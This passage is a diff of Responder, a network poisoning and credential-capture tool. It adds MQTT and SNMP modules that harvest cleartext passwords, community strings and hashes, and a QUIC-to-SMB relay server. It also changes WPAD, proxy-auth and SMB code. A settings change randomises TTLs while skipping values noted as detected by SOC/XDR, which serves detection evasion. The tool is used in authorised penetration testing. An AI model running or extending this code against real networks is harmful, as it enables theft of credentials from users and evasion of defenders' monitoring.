length, offset = readInt(data, offset, 2)
offset += length
return offset
#Read UTF-8 encoded string
def readString(data, offset):
value, offset = readBinaryData(data, offset)
return (value.decode('utf-8'), offset)
#Read variable byte integer
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
def readVariableByteInteger(data, offset):
multiplier = 1
value = 0
while True:
encodedByte = data[offset]
offset += 1
value = (encodedByte & 127) * multiplier
if (multiplier > 128 * 128 * 128):
return None
multiplier *= 128
if(encodedByte & 128 == 0):
break
return (value, offset)
class MqttPacket:
USERNAME_FLAG = 0x80
PASSWORD_FLAG = 0x40
WILL_FLAG = 0x04
def __init__(self, data):
self.__isValid = True
controllPacketType, offset = readInt(data, 0, 1)
#check if CONNECT packet type
if controllPacketType != 0x10:
self.__isValid = False
return
#Remaining length
remainingLength, offset = readVariableByteInteger(data, offset)
#Protocol name
protocolName, offset = readString(data, offset)
#Check protocol name
if protocolName != "MQTT" and protocolName != "MQIsdp":
self.__isValid = False
return
#Check protocol version
self.__protocolVersion, offset = readInt(data, offset, 1)
#Read connect flag register
connectFlags, offset = readInt(data, offset, 1)
#Read keep alive (skip)
offset += 2
#MQTTv5 implements properties
if self.__protocolVersion > 4:
#Skip all properties
propertiesLength, offset = readVariableByteInteger(data, offset)
offset+=propertiesLength
#Get Client ID
self.clientId, offset = readString(data, offset)
if (self.clientId == ""):
self.clientId = "<Empty>"
#Skip Will
if (connectFlags & self.WILL_FLAG) > 0:
#MQTT v5 implements properties
if self.__protocolVersion > 4:
willProperties, offset = readVariableByteInteger(data, offset)
#Skip will properties
offset = skipBinaryDataString(data, offset)
offset = skipBinaryDataString(data, offset)
#Get Username
if (connectFlags & self.USERNAME_FLAG) > 0:
self.username, offset = readString(data, offset)
else:
self.username = "<Empty>"
#Get Password
if (connectFlags & self.PASSWORD_FLAG) > 0:
self.password, offset = readString(data, offset)
else:
self.password = "<Empty>"
def isValid(self):
return self.__isValid
def getProtocolVersion(self):
return self.__protocolVersion
def data(self, client):
return {
'module': 'MQTT',
'type': 'Cleartext',
'client': client,
'hostname': self.clientId,
'user': self.username,
'cleartext': self.password,
'fullhash': self.username + ':' + self.password
}
class MQTT(BaseRequestHandler):
def handle(self):
CONTROL_PACKET_TYPE_CONNECT = 0x10
try:
data = self.request.recv(2048)
#Read control packet type
controlPacketType, offset = readInt(data, 0, 1)
#Skip non CONNECT packets
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
return
#Parse connect packet
packet = MqttPacket(data)
#Skip if it contains invalid data
if not packet.isValid():
#Return response
return
#Send response packet
if packet.getProtocolVersion() < 5:
responsePacket = MQTTv3v4ResponsePacket()
else:
responsePacket = MQTTv5ResponsePacket()
self.request.send(NetworkSendBufferPython2or3(responsePacket))
#Save to DB
SaveToDb(packet.data(self.client_address[0]))
except Exception:
self.request.close()
pass

View file

@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
if not data:
break
if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(NetworkSendBufferPython2or3(Buffer))
@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler):
if data:
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
elif data[0:1] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip(b"\x00"))
elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):

View file

@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate()
return Buffer
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
#Buffer.calculate()
#Return a TCP RST, so the client uses direct connection and avoids disruption.
return RST
else:
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
@ -93,7 +94,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic:
Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = WPAD_Auth_407_Ans()

168
servers/QUIC.py Normal file
View file

@ -0,0 +1,168 @@
import asyncio
import logging
import ssl
import argparse
import netifaces
from utils import *
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
BUFFER_SIZE = 11000
def get_interface_ip(interface_name):
"""Get the IP address of a network interface."""
try:
# Get address info for the specified interface
addresses = netifaces.ifaddresses(interface_name)
# Get IPv4 address (AF_INET = IPv4)
if netifaces.AF_INET in addresses:
return addresses[netifaces.AF_INET][0]['addr']
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
if netifaces.AF_INET6 in addresses:
return addresses[netifaces.AF_INET6][0]['addr']
logging.error(f"[!] No IP address found for interface {interface_name}")
return None
except ValueError:
logging.error(f"[!] Interface {interface_name} not found")
return None
class QUIC(QuicConnectionProtocol):
def __init__(self, *args, target_address=None, **kwargs):
super().__init__(*args, **kwargs)
self.tcp_connections = {} # stream_id -> (reader, writer)
self.target_address = target_address or "localhost"
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
# Only try to close connections if we have any
if self.tcp_connections:
asyncio.create_task(self.close_all_tcp_connections())
async def handle_stream_data(self, stream_id, data):
if stream_id not in self.tcp_connections:
# Create a new TCP connection to the target interface:445
try:
reader, writer = await asyncio.open_connection(self.target_address, 445)
self.tcp_connections[stream_id] = (reader, writer)
# Start task to read from TCP and write to QUIC
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
except Exception as e:
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
return
# Forward data from QUIC to TCP
try:
_, writer = self.tcp_connections[stream_id]
writer.write(data)
await writer.drain()
except Exception as e:
logging.error(f"[!] Error writing to TCP: {e}")
await self.close_tcp_connection(stream_id)
async def tcp_to_quic(self, stream_id, reader):
try:
while True:
data = await reader.read(BUFFER_SIZE)
if not data:
break
self._quic.send_stream_data(stream_id, data)
self.transmit()
except Exception as e:
logging.error(f"[!] Error reading from TCP: {e}")
finally:
await self.close_tcp_connection(stream_id)
async def close_tcp_connection(self, stream_id):
if stream_id in self.tcp_connections:
_, writer = self.tcp_connections[stream_id]
writer.close()
await writer.wait_closed()
del self.tcp_connections[stream_id]
async def close_all_tcp_connections(self):
try:
# Make a copy of the keys to avoid modification during iteration
stream_ids = list(self.tcp_connections.keys())
for stream_id in stream_ids:
try:
await self.close_tcp_connection(stream_id)
except KeyError:
# Silently ignore if the stream ID no longer exists
pass
except Exception as e:
# Catch any other exceptions that might occur
logging.debug(f"[!] Error closing TCP connections: {e}")
async def start_quic_server(listen_interface, cert_path, key_path):
# Configure QUIC
configuration = QuicConfiguration(
alpn_protocols=["smb"],
is_client=False,
)
# Load certificate and private key
try:
configuration.load_cert_chain(cert_path, key_path)
except Exception as e:
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
return
# Resolve interfaces to IP addresses
listen_ip = listen_interface
if not is_ip_address(listen_interface):
listen_ip = get_interface_ip(listen_interface)
if not listen_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
target_ip = listen_interface
if not is_ip_address(listen_interface):
target_ip = get_interface_ip(listen_interface)
if not target_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
# Start QUIC server with correct protocol factory
server = await serve(
host=listen_ip,
port=443,
configuration=configuration,
create_protocol=lambda *args, **kwargs: QUIC(
*args,
target_address=target_ip,
**kwargs
)
)
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
# Keep the server running forever
await asyncio.Future()
def is_ip_address(address):
"""Check if a string is a valid IP address."""
import socket
try:
socket.inet_pton(socket.AF_INET, address)
return True
except socket.error:
try:
socket.inet_pton(socket.AF_INET6, address)
return True
except socket.error:
return False

10
servers/RDP.py Normal file → Executable file
View file

@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
self.request.settimeout(30)
Challenge = RandomChallenge()
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = context.wrap_socket(self.request, server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = context.wrap_socket(self.request, server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))

View file

@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#LSARPC
@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#WINSPOOL
@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#NetLogon
@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()

View file

@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client):
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117:
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
@ -200,17 +200,16 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if not data:
break
if data[0] == "\x81": #session request 139
if data[0:1] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
try:
self.request.send(Buffer)
data = self.request.recv(1024)
except:
raise
pass
##Negotiate proto answer SMBv2.
if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns()
t.calculate()
@ -240,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@ -248,7 +251,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
Body.calculate()
@ -336,7 +339,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.settimeout(1)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == b"\x81": #session request 139
if data[0:1] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024)
@ -358,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer))
else:
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer))

View file

@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler):
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
try: Password = b64decode(data).decode('latin-1')
except: Password = data
SaveToDb({

62
servers/SNMP.py Executable file
View file

@ -0,0 +1,62 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from binascii import hexlify
from pyasn1.codec.ber.decoder import decode
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
class SNMP(BaseRequestHandler):
def handle(self):
data = self.request[0]
received_record, rest_of_substrate = decode(data)
snmp_version = int(received_record['field-0'])
if snmp_version == 3:
full_snmp_msg = hexlify(data).decode('utf-8')
received_record_inner, _ = decode(received_record['field-2'])
snmp_user = str(received_record_inner['field-3'])
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client" : self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
})
else:
community_string = str(received_record['field-1'])
snmp_version = '1' if snmp_version == 0 else '2c'
SaveToDb(
{
"module": "SNMP",
"type": "Cleartext SNMPv{}".format(snmp_version),
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
}
)

View file

@ -125,14 +125,18 @@ def PacketSequence(data, client, Challenge):
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
r = IIS_Basic_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = IIS_Auth_401_Ans()
r = IIS_Auth_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response
@ -175,6 +179,6 @@ class WinRM(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer))
except:
raise
self.request.close()
pass

241
settings.py Executable file → Normal file
View file

@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.7.0'
__version__ = 'Responder 3.1.6.0'
class Settings:
@ -42,25 +42,56 @@ class Settings:
return str.upper() == 'ON'
def ExpandIPRanges(self):
def expand_ranges(lst):
def expand_ranges(lst):
ret = []
for l in lst:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses
while l.count(':') < 7:
pos = l.find('::')
l = l[:pos] + ':' + l[pos:]
tab = l.split(':')
x = {}
i = 0
xaddr = ''
for byte in tab:
if byte == '':
byte = '0'
if '-' not in byte:
x[i] = x[i+1] = int(byte, base=16)
else:
b = byte.split('-')
x[i] = int(b[0], base=16)
x[i+1] = int(b[1], base=16)
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
for e in range(x[8], x[9]+1):
for f in range(x[10], x[11]+1):
for g in range(x[12], x[13]+1):
for h in range(x[14], x[15]+1):
xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h))
xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address
xaddr = re.sub(':{3,7}', '::', xaddr, count = 7)
ret.append(xaddr)
else:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
return ret
self.RespondTo = expand_ranges(self.RespondTo)
@ -84,21 +115,29 @@ class Settings:
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
# Db File
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
@ -114,14 +153,93 @@ class Settings:
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
if options.TTL is None:
self.TTL = None
# Random TTL
elif options.TTL.upper() == "RANDOM":
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP()
else:
self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
@ -144,12 +262,22 @@ class Settings:
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if len(self.HtmlToInject) == 0:
self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if len(self.WPAD_Script) == 0:
if self.WPAD_On_Off:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
if self.ProxyAuth_On_Off:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
@ -159,10 +287,14 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
